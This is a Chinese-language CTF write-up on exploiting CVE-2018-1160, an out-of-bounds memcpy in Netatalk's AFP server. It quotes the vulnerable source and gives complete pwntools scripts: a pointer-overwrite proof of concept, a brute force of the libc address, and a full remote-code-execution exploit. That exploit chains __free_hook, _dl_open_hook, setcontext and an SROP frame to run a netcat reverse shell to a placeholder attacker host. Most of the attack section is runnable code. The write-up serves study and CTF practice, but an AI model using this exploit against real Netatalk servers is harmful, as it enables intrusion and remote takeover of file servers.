pwnable.tw的第三题,卡住了。基本原理在参考链接里都写了,就记录一下过程然后补充一些我看师傅们博客比较疑惑的点吧。
简介
Netatalk是Apple归档协议(AFP,Apple Filing Protocol)的一种实现。
想要自己重新编译启动服务可以参考这篇:https://xz.aliyun.com/t/3710
题目给了afpd
和libatalk.so
,就不自己编译了。
在doc/manpages/man8/afpd.8.xml
中有启动方式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <refsynopsisdiv>
<cmdsynopsis>
<command>afpd</command>
<arg choice="opt">-d</arg>
<arg choice="opt">-F <replaceable>configfile</replaceable></arg>
</cmdsynopsis>
<cmdsynopsis>
<command>afpd</command>
<group choice="plain">
<arg choice="plain">-v</arg>
<arg choice="plain">-V</arg>
<arg choice="plain">-h</arg>
</group>
</cmdsynopsis>
</refsynopsisdiv>
|
启动:LD_PRELOAD=./libatalk.so.18 ./afpd -d -F afp.conf
在 https://github.com/Netatalk/Netatalk 下载源码后可以git reset --hard 6243b6b89d21754c55f04e168dcfe8bb643a4285
方便查阅有漏洞的源码。
漏洞分析
主要漏洞出现在libatalk/dsi/dsi_opensess.c/dsi_opensession
处
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| /* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
size_t i = 0;
uint32_t servquant;
uint32_t replcsize;
int offs;
if (setnonblock(dsi->socket, 1) < 0) {
LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
AFP_PANIC("setnonblock error");
}
/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}
|
在这个memcpy
处,第三个参数dsi->commands[i]
的值是可控的,范围在0-255。同时dsi->commands + i + 1
指针处的内容也是可控的,所以可以覆盖dsi->attn_quantum
地址处的值。dsi的数据结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| /* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write; /* in the middle of writing multiple packets,
signal handlers can't write to the socket */
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket */
/* DSI readahead buffer used for buffered reads in dsi_peek */
size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
char *buffer; /* buffer start */
char *start; /* current buffer head */
char *eof; /* end of currently used buffer */
char *end;
#ifdef USE_ZEROCONF
char *bonjourname; /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
int zeroconf_registered;
#endif
/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
} DSI;
#define DSI_BLOCKSIZ 16
struct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};
#define DSI_DATASIZ 65536
|
所以可以覆写attn_quantum/datasize/server_quantum/serverID/clientID/commands/data[DSI_DATASIZ]
这些成员。如果commands
地址合法server_quantum
会回传回来。
当服务器端主进程fork出一个新的连接后,commands
指针的生命周期就开始了。当dsi
结构初始化后,堆空间将分配出一块内存并赋给commands
。每一条传入的AFP消息都将在被Netatalk的AFP函数处理前,先被写入commands
指针里。commands
占用的内存在连接终止后、程序退出前被释放。
所以输入的内容按照格式先存储在commands里然后再解析commands的内容。
跑一下这个poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| from pwn import *
import struct
p = remote("127.0.0.1", 5566)
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x18" # length
dsi_opensession += "A"*0x10+p64(0xdeadbeefcafebabe) # 覆写commands指针为0xdeadbeefcafebabe
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # dsi_getsession中想要转到open_session需要dsi_command为DSIFUNC_OPEN
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
p.send(dsi_header)
p.recv(0x1c)
pause()
p.send(dsi_header)
p.interactive()
|
执行完memcopy函数后:
可以看到commands的指针被成功修改成了0xdeadbeefcafebabe
已知在连解断开后,这个commands指针的生命周期才会结束,所以这连解没断开的时候,后续的内容还是会写入这个commands指针指向的地方,commands指针可改的话即可达到地址任意写。
漏洞利用
一般地址任意写以后可以控制free_hook
以及free
对象就可以达到RCE的目的。这里用写free_hook
的方法。
爆破libc基址
想要写free_hook
首先需要泄露libc基址。
程序开了ASLR,每有一个新的连解就会fork出一个子进程处理,子进程的地址空间与父进程相同。
当覆写的commands
指针不合法的时候,会产生段错误。如果是合法地址,服务器会将server_quantum
的内容回传。那么可以一位一位的覆盖DSI->commands
如果没有段错误(有返回内容)则说明爆破正确。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| from pwn import *
import struct
# context.log_level = "debug"
context.update(arch="amd64",os="linux")
ip = 'localhost'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create_header(addr):
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += chr(len(addr)+0x10) # length
dsi_opensession += "a"*0x10+addr
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
return dsi_header
addr = ""
while len(addr)<6 :
for i in range(256):
r = remote(ip,port)
r.send(create_header(addr+chr(i)))
try:
if "a"*4 in r.recvrepeat(1):
addr += chr(i)
r.close()
break
except:
r.close()
val = u64(addr.ljust(8,'\x00'))
print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
offset = 0x535a000 # 这个offset与环境相关
libc_base = libc_addr + offset
log.success("[+]libc base {}".format(hex(libc_base)))
|
SROP
已知libc基址+任意地址写的情况下,可以覆写_free_hook
后续触发free
函数来达到攻击目的。free
对象并不容易控制,Balsn战队借助SROP达到RCE的目的。
这篇有对SROP: Sigreturn Oriented Programming的介绍,总的来说就是利用rt_sigreturn
恢复ucontext_t
的机制,来构造一个假的ucontext_t
,这样就能控制所有的寄存器。pwntools
现有的库函数是SigreturnFrame
。这个链接中同时介绍了使用SROP进行攻击的一种方法:
利用fastbin attack劫持__free_hook
,利用setcontex
来进行SROP然后ROP读出flag;
setcontext
函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流.
一般是从setcontext+53
开始用的,不然程序容易崩溃,主要是为了避开fldenv [rcx]
这个指令,一般用来利用call mprotect-> jmp shellcode
我们在这里同样也是用的这个方法。
将__free_hook
改写成__libc_dlopen_mode+56
__libc_dlopen_mode+56
处会判断_dl_open_hook
是否为空,不为空的话call dlopen_mode
。
1
2
3
4
5
6
7
8
| static struct dl_open_hook _dl_open_hook =
{
.dlopen_mode = __libc_dlopen_mode,
.dlsym = __libc_dlsym,
.dlclose = __libc_dlclose,
.dlvsym = __libc_dlvsym,
};
#endif
|
_dl_open_hook
在_free_hook
后面,可以覆盖dl_open_hook
。覆盖成如下gadget:
1
2
| 0x7f12ef28aaff <_IO_new_fgetpos+207>: mov rdi,rax
0x7f12ef28ab02 <_IO_new_fgetpos+210>: call QWORD PTR [rax+0x20]
|
此时寄存器中的内容如下:
以上gadget在call QWORD PTR [rax+0x20]
这条语句中会调用传入的setcontext+53
这个地方,即后续SROP触发的地方。
SROP的rdi设置成system函数,参数为前面传入的反弹shell语句。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
| from pwn import *
import struct
context.log_level = "info"
context.update(arch="amd64",os="linux")
ip = 'localhost'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def create_header(addr):
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += chr(len(addr)+0x10) # length
dsi_opensession += "a"*0x10+addr
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
return dsi_header
def create_afp(idx,payload):
afp_command = chr(idx) # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
return dsi_header
# get libc base
addr = ""
while len(addr)<6 :
for i in range(256):
r = remote(ip,port)
r.send(create_header(addr+chr(i)))
try:
if "a"*4 in r.recvrepeat(1):
addr += chr(i)
r.close()
break
except:
r.close()
val = u64(addr.ljust(8,'\x00'))
print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
offset = 0x535a000
libc_base = libc_addr + offset
log.success("[+]libc base {}".format(hex(libc_base)))
libc.address = libc_base
raw_input("write free hook: ")
free_hook = libc.sym['__free_hook']
# mov rdi,rax ; call QWORD PTR [rax+0x20]
magic = libc_base + 0x7eaff
dl_openmode = libc_base + 0x166398
dl_open_hook = libc_base + 0x3f0588
r = remote(ip,port)
r.send(create_header(p64(free_hook-0x30))) # overwrite afp_command buf with free_hook-0x30
#
raw_input("write shell: ")
rip="127.0.0.1"
rport=1234
cmd='bash -c "nc evil_ip evil_port -t -e /bin/bash" \x00'# cat flag to controled ip and port
sigframe = SigreturnFrame()
sigframe.rdi = free_hook + 8
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 0
sigframe.rsp = free_hook+0x400
sigframe.rip = libc.sym['system']
payload = '\x00'*0x2e
payload += p64(dl_openmode) # free_hook
payload += cmd.ljust(0x2c98,'\x00')
payload += p64(dl_open_hook+8) + p64(magic)*4
payload += p64(libc.sym['setcontext']+53)
payload += str(sigframe)[0x28:]
r.send(create_afp(0,payload))
raw_input("get shell: ")
r.send(create_afp(18,""))
r.interactive()
|
这个CVE-2018-1160 netatalk越界漏洞复现及分析给的exp中,第一次发送的r.send(create_header(p64(free_hook-0x30)))
用来写commands的指针。第二次r.send(create_afp(0,payload))
用来在commands处写入布置好的内容。第三次r.send(create_afp(18,""))
用来触发free
函数。
在afp_over_dsi
函数中存在如下语句:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| function = (u_char) dsi->commands[0];
/* AFP replay cache */
rc_idx = dsi->clientID % REPLAYCACHE_SIZE;
LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);
if (replaycache[rc_idx].DSIreqID == dsi->clientID
&& replaycache[rc_idx].AFPcommand == function) {
LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",
dsi->clientID, AfpNum2name(function));
err = replaycache[rc_idx].result;
/* AFP replay cache end */
} else {
/* send off an afp command. in a couple cases, we take advantage
* of the fact that we're a stream-based protocol. */
if (afp_switch[function]) {
dsi->datalen = DSI_DATASIZ;
dsi->flags |= DSI_RUNNING;
LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);
|
这里调用了*afp_switch[dsi->commands[0]]
.在默认未登录状态下,afp_switch
等于preauth_switch
内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| static AFPCmd preauth_switch[] = {
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 0 - 7 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 8 - 15 */
NULL, NULL, afp_login, afp_logincont,
afp_logout, NULL, NULL, NULL, /* 16 - 23 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 24 - 31 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 32 - 39 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 40 - 47 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 48 - 55 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, afp_login_ext, /* 56 - 63 */
......
};
|
在最后一条触发语句中调用的是afp_login
函数。这个函数会调用send_reply
函数
1
2
3
4
5
6
7
8
9
10
| static int send_reply(const AFPObj *obj, const int err)
{
if ((err == AFP_OK) || (err == AFPERR_AUTHCONT))
return err;
obj->reply(obj->dsi, err);
obj->exit(0); // afp_dsi_die
return AFP_OK;
}
|
其中obj->exit
指向的是afp_dsi_die
函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
| /* -------------------------------
* SIGTERM
* a little bit of code duplication.
*/
static void afp_dsi_die(int sig)
{
DSI *dsi = (DSI *)AFPobj->dsi;
if (dsi->flags & DSI_RECONINPROG) {
/* Primary reconnect succeeded, got SIGTERM from afpd parent */
dsi->flags &= ~DSI_RECONINPROG;
return; /* this returns to afp_disconnect */
}
if (dsi->flags & DSI_DISCONNECTED) {
LOG(log_note, logtype_afpd, "Disconnected session terminating");
exit(0);
}
dsi_attention(AFPobj->dsi, AFPATTN_SHUTDOWN);
afp_dsi_close(AFPobj);
if (sig) /* if no signal, assume dieing because logins are disabled &
don't log it (maintenance mode)*/
LOG(log_info, logtype_afpd, "Connection terminated");
if (sig == SIGTERM || sig == SIGALRM) {
exit( 0 );
}
else {
exit(sig);
}
}
static void afp_dsi_close(AFPObj *obj)
{
DSI *dsi = obj->dsi;
sigset_t sigs;
close(obj->ipc_fd);
obj->ipc_fd = -1;
/* we may have been called from a signal handler caught when afpd was running
* as uid 0, that's the wrong user for volume's prexec_close scripts if any,
* restore our login user
*/
if (geteuid() != obj->uid) {
if (seteuid( obj->uid ) < 0) {
LOG(log_error, logtype_afpd, "can't seteuid(%u) back %s: uid: %u, euid: %u",
obj->uid, strerror(errno), getuid(), geteuid());
exit(EXITERR_SYS);
}
}
close_all_vol(obj);
if (obj->logout) {
/* Block sigs, PAM/systemd/whoever might send us a SIG??? in (*obj->logout)() -> pam_close_session() */
sigfillset(&sigs);
pthread_sigmask(SIG_BLOCK, &sigs, NULL);
(*obj->logout)();
}
LOG(log_note, logtype_afpd, "AFP statistics: %.2f KB read, %.2f KB written",
dsi->read_count/1024.0, dsi->write_count/1024.0);
log_dircache_stat();
dsi_close(dsi);
}
void dsi_close(DSI *dsi)
{
/* server generated. need to set all the fields. */
if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
dsi->header.dsi_flags = DSIFL_REQUEST;
dsi->header.dsi_command = DSIFUNC_CLOSE;
dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
dsi->header.dsi_data.dsi_code = dsi->header.dsi_reserved = htonl(0);
dsi->cmdlen = 0;
dsi_send(dsi);
dsi->proto_close(dsi);
}
free(dsi);
}
|
afp_dsi_die
->afp_dsi_close
->dsi_close
->free
,最终会调用到free函数触发漏洞RCE。
参考链接
Exploiting an 18 Year Old Bug
https://github.com/Netatalk/Netatalk/commit/750f9b55844b444b8ff1a38206fd2bdbab85c21f
CVE-2018-1160 netatalk越界漏洞复现及分析
https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#netatalk
Netatalk CVE-2018-1160 分析
Linux User Exploit(0)–SROP的引伸
SROP: Sigreturn Oriented Programming